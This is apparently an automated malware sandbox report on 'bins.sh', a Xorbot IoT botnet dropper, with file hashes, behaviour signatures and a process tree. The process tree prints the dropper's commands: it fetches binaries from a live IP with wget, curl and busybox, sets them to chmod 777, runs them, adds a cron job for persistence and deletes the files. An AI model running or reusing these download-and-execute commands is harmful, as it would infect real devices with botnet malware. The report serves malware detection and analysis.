Analysis

  • max time kernel
    123s
  • max time network
    104s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05/12/2024, 02:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9d1e0ce2335246f6bd57f886034a8b65

  • SHA1

    d8d5b5dae0e66bc74b700b8e66e96cd2deab2fba

  • SHA256

    915aef94b69db1c600838fe5e412a043bfba33eb88c97660c45203dd41567d1c

  • SHA512

    5d0ed44420c27385e495c4b21976494963b54854c18509d808ebb6940e5a821c6209f8a2e39e62f02cf124665c2ea1fb842ee7e03ff7fe78e08b661d3fb14763

  • SSDEEP

    192:1tE4IZAaZ/2QAQTX5+RbOnE4IZAaIhQAQTXmO7:1tE4IZxZ/YRbmE4IZxIw

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:701
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:720
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Writes file to tmp directory
          PID:727
        • /bin/chmod
          chmod 777 Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • File and Directory Permissions Modification
          PID:728
        • /tmp/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          ./Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:729
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:731
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:732
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:733
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:735
            • /bin/rm
              rm Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR
              2⤵
                PID:737
              • /usr/bin/wget
                wget http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
                2⤵
                  PID:740
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
                  2⤵
                    PID:741
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
                    2⤵
                    • Writes file to tmp directory
                    PID:742
                  • /bin/chmod
                    chmod 777 4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
                    2⤵
                    • File and Directory Permissions Modification
                    PID:743
                  • /tmp/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
                    ./4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
                    2⤵
                    • Executes dropped EXE
                    PID:744
                  • /bin/rm
                    rm 4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy
                    2⤵
                      PID:746
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                      2⤵
                        PID:747
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                        2⤵
                          PID:748
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                          2⤵
                          • Writes file to tmp directory
                          PID:749
                        • /bin/chmod
                          chmod 777 ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                          2⤵
                          • File and Directory Permissions Modification
                          PID:750
                        • /tmp/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                          ./ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                          2⤵
                          • Executes dropped EXE
                          PID:751
                        • /bin/rm
                          rm ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue
                          2⤵
                            PID:753
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                            2⤵
                              PID:754
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                              2⤵
                                PID:755
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                                2⤵
                                • Writes file to tmp directory
                                PID:756
                              • /bin/chmod
                                chmod 777 FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                                2⤵
                                • File and Directory Permissions Modification
                                PID:757
                              • /tmp/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                                ./FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                                2⤵
                                • Executes dropped EXE
                                PID:758
                              • /bin/rm
                                rm FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e
                                2⤵
                                  PID:760
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP
                                  2⤵
                                    PID:761

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy

                                        Filesize

                                        111KB

                                        MD5

                                        701e7a55a4f3650f5feee92a9860e5fc

                                        SHA1

                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                        SHA256

                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                        SHA512

                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                      • /tmp/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e

                                        Filesize

                                        127KB

                                        MD5

                                        89077b7bd4bcafca7713be43635c4862

                                        SHA1

                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                        SHA256

                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                        SHA512

                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                      • /tmp/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR

                                        Filesize

                                        151KB

                                        MD5

                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                        SHA1

                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                        SHA256

                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                        SHA512

                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                      • /tmp/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue

                                        Filesize

                                        119KB

                                        MD5

                                        1b166b95f9cb4b079ef1b9ec8363ddf3

                                        SHA1

                                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                                        SHA256

                                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                        SHA512

                                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                      • /var/spool/cron/crontabs/tmp.Tp8oVj

                                        Filesize

                                        210B

                                        MD5

                                        f270c097cdc990fe7f336f560d5e4ca2

                                        SHA1

                                        67134018237a525c87b496480ae1ef0c231950e8

                                        SHA256

                                        fe64e0f6c0fc1a11d1c3457827f487b19544e6687514117f1a5a6c7c26dd0f43

                                        SHA512

                                        13d2fda3ca71d07bf0b0f26eae8c5069c9daf0cc92033b84a11dadd52b04f43688a5df9b4a5f1e797c318bf9eb287a104e951deac20902e7b41ea164a1fc463a